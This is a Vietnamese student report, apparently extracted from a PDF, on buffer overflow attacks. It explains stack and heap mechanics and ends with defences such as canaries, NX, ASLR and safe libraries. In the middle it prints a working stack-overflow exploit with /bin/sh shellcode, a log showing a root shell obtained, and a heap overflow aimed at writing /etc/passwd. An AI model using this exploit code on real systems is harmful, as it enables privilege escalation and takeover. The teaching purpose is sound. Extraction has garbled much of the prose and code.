Tấn công Buffer Overflow có nguyên nhân gần giống với tấn công SQL Injection, khi người dùng hay hacker cung cấp các biến đầu vào hay dữ liệu vượt quá khả năng xử lý của chương trình làm cho hệ thống bị treo dẫn đến từ chối dịch vụ hay có khả năng bị các hacker lợi dụng chèn các chỉ thị trái phép nhằm thực hiện các đoạn mã nguy hiểm từ xa. Vì vậy, trong báo cáo này chúng ta sẽ tìm hiểu những khái niệm cơ bản nhất về tấn công tràn bộ đệm, các cách tấn công, cách phát hiện và cách phòng chống để nâng cao kiến thức và kỹ năng phòng chống lại các cuộc tấn công Buffer Overflow
MỤC LỤC DANH MỤC BẢNG BIỂU, HÌNH VẼ Dương Văn Hiếu-B15D45 CHƯƠNG TRÀN BỘ ĐỆM CÁC KHÁI NIỆM CƠ BẢN CHƯƠNG TRÀN BỘ ĐỆM 1.1 Stack Ngăn xếp vùng nhớ hệ điều hành cấp phát sẵn cho chương trình nạp Chương trình sử dụng vùng nhớ để chứa biến cục bộ(local variable), lưu lại trình gọi hàm, thực thi chương trình Trong phần bàn tới lệnh ghi đặc biệt có ảnh hưởng đến ngăn xếp Ngăn xếp hoạt động theo nguyên tắc vào sau trước (Last In, First Out) Các đối tượng đưa vào ngăn xếp sau lấy Khái niệm tương tự việc chồng thùng hàng lên Thùng hàng chồng lên cuối cùng, dỡ thui Như vậy, suốt trình sử dụng ngăn xếp Thanh ghi ESP lưa giữ vị trí đỉnh ngăn xếp, tức địa nhớ đối tượng đưa vào ngăn xếp sau dùng, nên gọi trỏ ngăn xếp (stack pointer) Thao tác đưa đối tượng vào ngăn xếp lệnh PUSH Thao tác lấy từ ngăn xếp lệnh POP Trong cấu trúc Intel x86 32 bit, ta đưa giá trị vào ngăn xếp CPU thực hai thao tác nhỏ: ESP gán giá trị ESP-4, tức giá trị ESP bị giảm Đối số lệnh PUSH chuyển vào byte nhớ địa ESP xác định Ngược lại, thao tác lấy giá trị từ ngăn xếp khiến CPU thực hai tác vụ đảo: Bốn byte nhớ địa ESP xác định chuyển vào đối số lệnh POP ESP gán giá trị ESP+4, tức giá trị ESP tăng lên Chúng ta nhận khái niệm đỉnh ngăn xếp cấu trúc Intel x86 có giá trị thấp vị trí lại ngăn xếp cấu trúc khác, đỉnh ngăn xếp có giá trị cao hpn vị trí lại Ngồi ra, lần PUSH, hay POP trỏ lệnh đề bị thay đổi đơn vị nên ô(slot) ngăn xếp độ dài byte, hay 32 bit Dương Văn Hiếu-B15D45 CHƯƠNG TRÀN BỘ ĐỆM Hình 1-1: Trước sau thực lệnh PUSH Giả sử ESP có giá trị BFFFF6C0, EAX có giá trị 42413938 , Hình minh họa trạng thái nhớ giá trị ghi trước sau thực lệnh PUSH EAX Giả sử byte nhớ địa BFFFF6BC có giá trị 38,39,41,42 ESP có giá trị BFFFF6BC Hình minh họa trạng thái nhớ giá trị ghi trước sau thực lệnh POP EAX 1.2 Các lệnh gọi hàm Ngăn xếp chứa thơng tin quan trọng khác liên quan tới luồng thực thi chương trình: địa trỏ lệnh chuyển tới sau hàm kết thúc bình thường Giả sử hàm main gọi hàm printf để in chữ “Hello World!” hình Sau printf hồn thành nhiệm vụ đó, luồng thực thi phải trả lại cho hàm main để tiếp tục thực tác vụ Hình mơ tả q trình gọi hàm trở từ hàm (hàm gọi) Chúng ta thấy kết thúc bình thường luồng thực thi trở sau lệnh gọi hàm printf main Khi chuyển qua hợp ngữ, có đoạn mã tương tự sau: Dương Văn Hiếu-B15D45 CHƯƠNG TRÀN BỘ ĐỆM Hình 1-2: Trước sau thực lệnh POP 08048446 08048449 0804844E 08048453 AND ESP, -0x0C PUSH 0x08048580 CALL printf ADD ESP, 0x10 Tại địa 08048449 , tham số printf đưa vào ngăn xếp Giá trị 08048580 địa vùng nhớ chứa chuỗi “Hello World!” Tiếp lệnh CALL thực hai tác vụ tuần tự: 1.Đưa địa lệnh sau lệnh CALL( 08048453) vào ngăn xếp Tác vụ hiểu lệnh PUSH $+5 với $ địa lệnh tại(0804844E) Chuyển trỏ lệnh tới vị trí đối ố, tức địa hàm printf ví dụ Sau thực xong nhiệm vụ mình, hàm printf chuyển trỏ lệnh lại giá trị lệnh CALL lưu ngăn xếp thông qua lệnh RET Lệnh RET thực hai tác vụ đảo: 1.Lấy giá trị đỉnh ngăn xếp Tác vụ tương tự lệnh POP 2.Gán trỏ lệnh giá trị nhận bước Dương Văn Hiếu-B15D45 CHƯƠNG TRÀN BỘ ĐỆM Hình 1-3: Gọi quay từ hàm Như có cách để điều khiển luồng thực thi chương trình: 1.Thơng qua lệnh nhảy 2.Thơng qua lệnh gọi hàm CALL Thông qua lệnh trả RET Đối với cách hai, địa trỏ lệnh đối số lệnh tương ứng chèn thằng vào mã máy Nếu muốn thay đổi địa sử dụng hai cách đồi, buộc phải thay đổi lệnh Riêng cách cuối địa trỏ lệnh lấy từ ngăn xếp Điều cho phép xếp đặt liệu làm ảnh hưởng đến lệnh thực thi Đây nguyên tắc để tận dụng lỗi tràn đệm Tuy nhiên, trước bàn tới tràn điệm, kiến thức trình biên dịch chuyển từ mã C sang mã máy, vị trí biến hàm xếp nhớ giúp ích nhiều việc tận dụng lỗi Dương Văn Hiếu-B15D45 1.3 Buffer Buffer định nghĩa tập ô nhớ liên tục có BỘ giới hạn nhớ CHƯƠNG TRÀN ĐỆM Các buffer phổ biến C mảng (array) Trong tài liệu tập trung tập trung vào mảng(array) Tràn Stack xảy khơng có kiểm tra giới hạn đầu vào nhớ stack C C++ Nói cách khác ngơn ngữ C C++ khơng có chức kiểm tra giới hạn liệu đưa vào stack Nếu người lập trình khơng code kiểm tra đầu vào dẫn đến khả tràn đệm #include #include int main () { int array[5] = {1, 2, 3, 4, 5}; printf(“%d\n”, array[5] ); } Trong ví dụ trên, tạo mảng C Mảng có tên arrray có phần tử Theo ngôn ngữ C mảng cấp liên tiếp từ phần tử array[0] đến phần tử array[4] , nhiên ta lại thực lệnh in hình phần thử array[5] tức in phần tử ngồi mảng khai báo Tuy nhiên trình biên dịch gcc không báo lỗi, chạy chương trình lại có kết khác: hieudv@ubuntu:~/bof2$ gcc buffer.c hieudv@ubuntu:~/bof2$ /a.out 32766 Ví dụ cho thấy dễ dàng đọc phần tử ngồi đệm; c khơng có chế bảo vệ trình built-in ta biên dịch chương trình gcc khơng báo lỗi có cảnh báo Việc xảy tiếp tục ghi liệu vượt cỡ đệm : int main () { int array[5]; int i; Dương Văn Hiếu-B15D45 for (i = 0; i 1) strcpy(little_array,argv[1]); } Đây chương trình cơng: #include #define offset_size #define buffer_size 512 char sc[] = “\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5 e\x08\x89\x46” “\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xc d\x80\xe8\xe1” “\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”; unsigned long find_start(void) { asm (“movl %esp,%eax”); } int main(int argc, char *argv[]) { char *buff, *ptr; 52 long *addr_ptr, addr; CHƯƠNG TRÀN Bộ ĐỆM int offset=offset_size, bsize=buffer_size; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); addr = find_start() - offset; printf(“Attempting address: 0x%x\n”, addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(sc); i++) *(ptr++) = sc[i]; buff[bsize - 1] = ‘\0’; memcpy(buff,”BUF=”,4); putenv(buff); system(“/bin/bash”); } Và tiến hành khai thác: [jack@0day local]$ /attack 595 Using address: 0xbfffe971 [jack@0day local]$ /victim $BUF Illegal instruction [jack@0day local]$ /attack 598 Using address: 0xbfffe9ea [jack@0day local]$ /victim $BUF Illegal instruction [jack@0day local]$ /exploit1 600 Using address: 0xbfffea04 [jack@0day local]$ /hole $BUF 53 sh-2.05b# id CHƯƠNG TRÀN Bộ ĐỆM uid=0(root) gid=0(root) groups=0(root),10(wheel) sh-2.05b# Chúng ta chiếm quyền root 2.2 Tràn đệm dựa heap 2.2.1 Heap Khi chương trình chạy, với thread cấp cho stack để lưu trữ biến địa phương Nhưng biến toàn cục, biến có kích thước q lớn để phù hợp với khơng gian stack, chương trình cần khơng gian lưu trữ khác nhớ ghi khơng gian lưu trữ Trong thực tế, khơng biết thời điểm biên dịch có khơng gian nhớ cần, đó, phân đoạn thường phân bổ thời gian chạy, sử dụng systems call đặc biệt Thông thường chương trình Linux có phân đoạn bss (biến tồn cục mà chưa khởi tạo) phân đoạn data (biến toàn cầu khởi tạo) với phân đoạn khác sử dụng cách malloc() allocated với brk() mmap() system call Bạn thấy phân đoạn với lệnh gdb maintenance info sections Bất kỳ phân đoạn có khả ghi để gọi giống heap phân đoạn đặc biệt gọi malloc() coi heap Sau hình ảnh thơng tin phân đoạn chương trình Đây mộ số dòng trace code: brk(0) = 0x80495a4 brk(0x804a5a4) = 0x804a5a4 CHƯƠNG TRÀN Bộ ĐỆM 54 brk(0x804b000) = 0x804b000 Theo output từ chương trình, thể không gian địa cấp: buf=0x80495b0 buf2=0x80499b8 Đây kết thực lệnh maintenance info sections thể phân đoạn sử dụng chạy chương trình 0x08048000->0x08048000 at 0x00001000: load1 ALLOC LOAD READONLY CODE HAS_CONTENTS 0x08049000->0x0804a000 at 0x00001000: load2 ALLOC LOAD HAS_CONTENTS 0xbfffe000->0xc0000000 at ALLOC LOAD CODE HAS_CONTENTS 0x0000f000: load11 (gdb) print/x $esp $1 = 0xbffff190 2.2.2 Tìm Heap Overflows Lỗi Heap Overflows lỗi nguyên thủy Sau số ví dụ thực tế Samba (cho phép hacker chép khối lớn nhớ nơi mà ta muốn) memcpy(array[user_supplied_int], user_supplied_buffer, user_supplied_int2); Microsoft IIS: buf=malloc(user_supplied_int+1); memcpy(buf,user_buf,user_supplied_int); IIS off55by a few: CHƯƠNG TRÀN Bộ ĐỆM buf=malloc(strlen(user_buf+5)); strcpy(buf,user_buf); Solaris Login: buf=(char **)malloc(BUF_SIZE); while (user_buf[i]!=0) { buf[i]=malloc(strlen(user_buf[i])+1); i++; } Solaris Xsun: buf=malloc(1024); strcpy(buf,user_supplied); 2.2.3 Các khai thác lỗi tràn đệm dựa Heap Tràn đệm xảy phân đoạn nhớ khác, heap bss Như auth_overflow.c, biến quan trọng nằm sau đệm dể bị tổn thương hành động làm tràn, dòng điều kiện chương trình thay đổi Điều phân đoạn nhớ mà biến lưu Tuy nhiên, việc kiểm sốt điều khiển hạn chế Xét chương trình sau //*notetaker.c*// #include #include #include #include #include #include "hacking.h" void usage(char *prog_name, char *filename) { printf("Usage: %s \n", prog_name, filename); exit(0) } void fatal(char *); // A function for fatal errors void56 *ec_malloc(unsigned int);CHƯƠNG // 3.An error-checked TRÀN Bộ ĐỆM malloc() wrapper int main(int argc, char *argv[]) { int userid, fd; // File descriptor char *buffer, *datafile; buffer = (char *) ec_malloc(100); datafile = (char *) ec_malloc(20); strcpy(datafile, "/var/notes"); if(argc < 2) // If there aren't command-line arguments, usage(argv[0], datafile); // display usage message and exit strcpy(buffer, argv[1]); // Copy into buffer printf("[DEBUG] buffer @ %p: \'%s\'\n", buffer, buffer); printf("[DEBUG] datafile @ %p: \'%s\'\n", datafile, datafile); // Opening the file fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR| S_IWUSR); if(fd == -1) fatal("in main() while opening file"); printf("[DEBUG] file descriptor is %d\n", fd); userid = getuid(); // Get the real user ID // Writing data if(write(fd, &userid, 4) == -1) // Write user ID before note data fatal("in main() while writing userid to file"); write(fd, "\n", 1); // Terminate line if(write(fd, buffer, strlen(buffer)) == -1) // Write note fatal("in main() while writing buffer to file"); write(fd, "\n", 1); // Terminate line // Closing file if(close(fd) == -1) fatal("in main() while closing file"); printf("Note has been saved.\n"); free(buffer); free(datafile); } Chương heap, đối số dòng lệnh 57 trình cấp phát hai đệmCHƯƠNG TRÀN Bộ ĐỆM chương trình chép vào phần đệm thự Và hột hành động gây tràn diễn Hình 2-31: Excerpt from notetaker.c Trong điều kiện bình thường, việc cấp phát đệm nằm pr 0x804A008 mà trước datafile cấp phát 0x804A070 Khoảng cách hai địa 104 byte Kể từ đệm kết thúc, khơng gian tối đa chứa nhớ không tràn lên tới 104 byte Đúng dự đốn, 104 byte đẩy vào tràn tới đầu datafile buffer Điều làm cho chương trình mở sai đường dẫn dẫn đến khơng thể mở tệp tin Nhưng datafile buffer ghi byte null sao? 58 CHƯƠNG TRÀN Bộ ĐỆM Lần này, tràn thiết kế để ghi đè lên datafile buffer với chuỗi testfile Điều làm cho chương trình ghi lên testfile thay /var/notes ban đầu Tuy nhiên, heap giải phóng free(), sai sót phần header heap phát chương trình bị ngưng, Tương tự địa trả tràn stack, heap có điểm kiểm sốt riêng Các phiên gần glic sử dụng nhớ heap chức quản lý phát triển đặc biết để chống lại việc heap hủy liên kết Tuy nhiên phần khai thác đặc biệt không sử dụng thông tin tiêu đề heap để khai thác, theo thời gian hàm free() gọi, chương trình bị lừa ghi vào file có quyền root 59 CHƯƠNG TRÀN Bộ ĐỆM Một chuỗi nhập vào gặp byte null, tồn chuỗi ghi vào file user đầu vào Vì chương trình suid root, tập tin tạo quyền root Điều có nghĩa kể từ tên tập tin kiểm sốt, liệu ghi vào tập tin Và thông tin rõ ràng ghi file /etc/passwd Tập tin chứa tất user id người dùng 60 CHƯƠNG TRÀN Bộ ĐỆM CHỐNG 61 TRÀN BỘ ĐỆM CHƯƠNG TRÀN Bộ ĐỆM Nhiều kỹ thuật đa dạng với nhiều ưu nhược điểm sử dụng để phát ngăn chặn tượng tràn đệm Cách đáng tin cậy để tránh ngăn chặn tràn đệm sử dụng bảo vệ tự động mức ngơn ngữ lập trình Tuy nhiên, loại bảo vệ áp dụng cho mã thừa kế (legacy code), nhiều ràng buộc kỹ thuật, kinh doanh hay văn hóa lại đòi hỏi sử dụng ngơn ngữ khơng an tồn Các mục sau mô tả lựa chọn cài đặt có 3.1 Lựa chọn ngơn ngữ lập trình Lựa chọn ngơn ngữ lập trình có ảnh hưởng lớn xuất lỗi tràn đệm Năm 2006, C C++ nằm số ngơn ngữ lập trình thơng dụng nhất, với lượng khổng lồ phần mềm viết hai ngôn ngữ C C++ không cung cấp sẵn chế chống lại việc truy nhập ghi đè liệu lên phần nhớ thông qua trỏ bất hợp lệ; cụ thể, hai ngôn ngữ không kiểm tra xem liệu ghi vào mảng (cài đặt nhớ đệm) có nằm biên mảng hay khơng Tuy nhiên, cần lưu ý thư viện chuẩn C+ +, thư viện khuôn mẫu chuẩn - STL, cung cấp nhiều cách an toàn để lưu trữ liệu đệm, lập trình viên C tạo sử dụng tiện ích tương tự Cũng tính khác C hay C++, lập trình viên phải tự xác định lựa chọn xem họ có muốn chấp nhận hạn chế tốc độ chương trình để thu lại lợi ích tiềm (độ an tồn chương trình) hay không Một số biến thể C, chẳng hạn Cyclone, giúp ngăn chặn lỗi tràn đệm việc chẳng hạn gắn thơng tin kích thước mảng với mảng Ngơn ngữ lập trình D sử dụng nhiều kỹ thuật đa dạng để tránh gần hết việc sử dụng trỏ kiểm tra biên người dùng xác định Nhiều ngơn ngữ lập trình khác cung cấp việc kiểm tra thời gian chạy, việc kiểm tra gửi cảnh báo ngoại lệ C C++ ghi đè liệu Ví dụ ngôn ngữ đa dạng, từ Python tới Ada, từ Lisp tới Modula-2, từ Smalltalk tới OCaml Các môi trường bytecode Java NET đòi hỏi kiểm tra biên tất mảng Gần tất ngôn ngữ thông dịch bảo vệ chương trình trước tượng tràn đệm cách thông báo trạng thái lỗi định rõ (well-defined error) Thông thường, ngôn ngữ cung cấp đủ thông tin kiểu để thực kiểm tra biên, ngơn ngữ thường cho phép lựa chọn kích hoạt hay tắt chế độ Việc phân tích tĩnh (static analysis) loại nhiều kiểm tra kiểu biên động, cài đặt tồi trường hợp rối rắm giảm đáng kể hiệu Các kỹ sư phần mềm phải cẩn thận cân nhắc phí tổn cho an toàn hiệu định sử dụng ngơn ngữ cấu cho trình biên dịch 3.2 Sử dụng 62 thư viện an toàn CHƯƠNG TRÀN Bộ ĐỆM Vấn đề tràn đệm thường gặp C C++ ngôn ngữ để lộ chi tiết biểu diễn mức thấp nhớ đệm với vai trò chỗ chứa cho kiểu liệu Do đó, phải tránh tràn đệm cách gìn giữ tính đắn cao cho phần mã chương trình thực việc quản lý đệm Việc sử dụng thư viện viết tốt kiểm thử, dành cho kiểu liệu trừu tượng mà thư viện thực tự động việc quản lý nhớ, có kiểm tra biên, làm giảm xuất ảnh hưởng tượng tràn đệm Trong ngôn ngữ này, xâu ký tự mảng hai kiểu liệu mà tượng tràn đệm thường xảy ra; đó, thư viện ngăn chặn lỗi tràn đệm kiểu liệu cung cấp phần che chắn cần thiết Dù vậy, việc sử dụng thư viện an tồn cách khơng dẫn đến tràn đệm số lỗ hổng khác; tất nhiên, lỗi thư viện lỗ hổng Các cài đặt thư viện "an toàn" gồm The Better String Library, Arri Buffer API Vstr Thư viện C hệ điều hành OpenBSD cung cấp hàm hữu ích strlcpy strlcat, hàm nhiều hạn chế nhiều so với cài đặt thư viện an toàn đầy đủ Tháng năm 2006, Báo cáo kỹ thuật số 24731 hội đồng tiêu chuẩn C công bố; báo cáo mô tả tập hàm dựa hàm vào liệu hàm xử lý xâu ký tự thư viện C chuẩn, hàm bổ sung tham số kích thước đệm 3.3 Chống tràn nhớ đệm stack Stack-smashing protection kỹ thuật dùng để phát hiện tượng tràn đệm phổ biến Kỹ thuật kiểm tra xem stack bị sửa đổi hay chưa hàm trả Nếu stack bị sửa đổ, chương trình kết thúc lỗi segmentation fault Các hệ thống sử dụng kỹ thuật gồm có Libsafe, StackGuard vá lỗi (patch) ProPolice gcc Chế độ Data Execution Prevention (cấm thực thi liệu) Microsoft bảo vệ thẳng trỏ tới SEH Exception Handler, không cho chúng bị ghi đè Có thể bảo vệ stack cách phân tách stack thành hai phần, phần dành cho liệu phần cho bước trả hàm Sự phân chia dùng ngơn ngữ lập trình Forth, định thiết kế dựa theo tiêu chí an tồn Nhưng dù khơng phải giải pháp hoàn chỉnh vấn đề tràn đệm, liệu nhạy cảm địa trả bị ghi đè 3.4 Bảo vệ 63 không gian thực thi CHƯƠNG TRÀN Bộ ĐỆM Bảo vệ không gian thực thi cách tiếp cận việc chống tràn đệm Kỹ thuật ngăn chặn việc thực thi mã stack hay heap Một kẻ công sử dụng tràn đệm để chèn đoạn mã tùy ý vào nhớ chương trình, với bảo vệ khơng gian thực thi, cố gắng chạy đoạn mã gây ngoại lệ (exception) Một số CPU hỗ trợ tính có tên bit NX ("No eXecute" - "Khơng thực thi") bit XD ("eXecute Disabled" - "chế độ thực thi bị tắt") Khi kết hợp với phần mềm, tính dùng để đánh dấu trang liệu (chẳng hạn trang chứa stack heap) đọc không thực thi Một số hệ điều hành Unix (chẳng hạn OpenBSD, Mac OS X) có kèm theo tính bảo vệ khơng gian thực thi (ví dụ W^X) Một số gói phần mềm tùy chọn bao gồm: PaX Exec Shield Openwall Các biến thể Microsoft Windows hỗ trợ bảo vệ không gian thực thi, với tên gọi Data Execution Prevention (ngăn chặn thực thi liệu) Các phần mềm gắn kèm (Add-on) bao gồm: SecureStack OverflowGuard BufferShield StackDefender Phương pháp bảo vệ không gian thực thi không chống lại cơng return-tolibc 3.5 Ngẫu nhiên hóa sơ đồ khơng gian địa Ngẫu nhiên hóa sơ đồ không gian địa (Address space layout randomization ASLR) tính an ninh máy tính có liên quan đến việc xếp vị trí vùng liệu quan trọng (thường bao gồm nơi chứa mã thực thi vị trí thư viện, heap stack) cách ngẫu nhiên không gian địa tiến trình Việc ngẫu nhiên hóa địa nhớ ảo mà hàm và3 biến làm cho 64 CHƯƠNG TRÀNnằm Bộ ĐỆM việc khai thác lỗi tràn đệm trở nên khó khăn hơn, khơng phải khơng thể Nó buộc kẻ công phải điều chỉnh khai thác cho hợp với hệ thống cụ thể, điều làm thất bại cố gắng sâu Internet Một phương pháp tương tự hiệu hơn, kỹ thuật rebase tiến trình thư viện không gian địa ảo 3.6 Kiểm tra sâu gói tin Biện pháp kiểm tra sâu gói tin (deep packet inspection - DPI) phát cố gắng từ xa để khai thác lỗi tràn đệm từ biên giới mạng Các kỹ thuật có khả chặn gói tin có chứa chữ ký vụ cơng biết chứa chuỗi dài lệnh No-Operation (NOP - lệnh rỗng khơng làm gì), chuỗi thường sử dụng vị trí nội dung quan trọng (payload) cơng có biến đổi Việc rà gói tin khơng phải phương pháp hiệu ngăn chặn cơng biết, có nhiều cách để mã hóa lệnh NOP Các kẻ cơng sử dụng mã alphanumeric, metamorphic, shellcode tự sửa để tránh bị phát việc rà gói tin 65 TÀI LIỆU THAM KHẢO CHƯƠNG TRÀN Bộ ĐỆM Nguyễn Thành Nam, Nghệ thuật tận dụng lỗi phần mềm Jon Erickson, Hacking: The art of the exploitation, 2nd edition Chris Anley, John Heasman, The Shellcoder’s Handbook https://vi.wikipedia.org/wiki/L%E1%BB%97i_tr%C3%A0n_b%E1%BB%99_n %E1%BB%9B_%C4%91%E1%BB%87m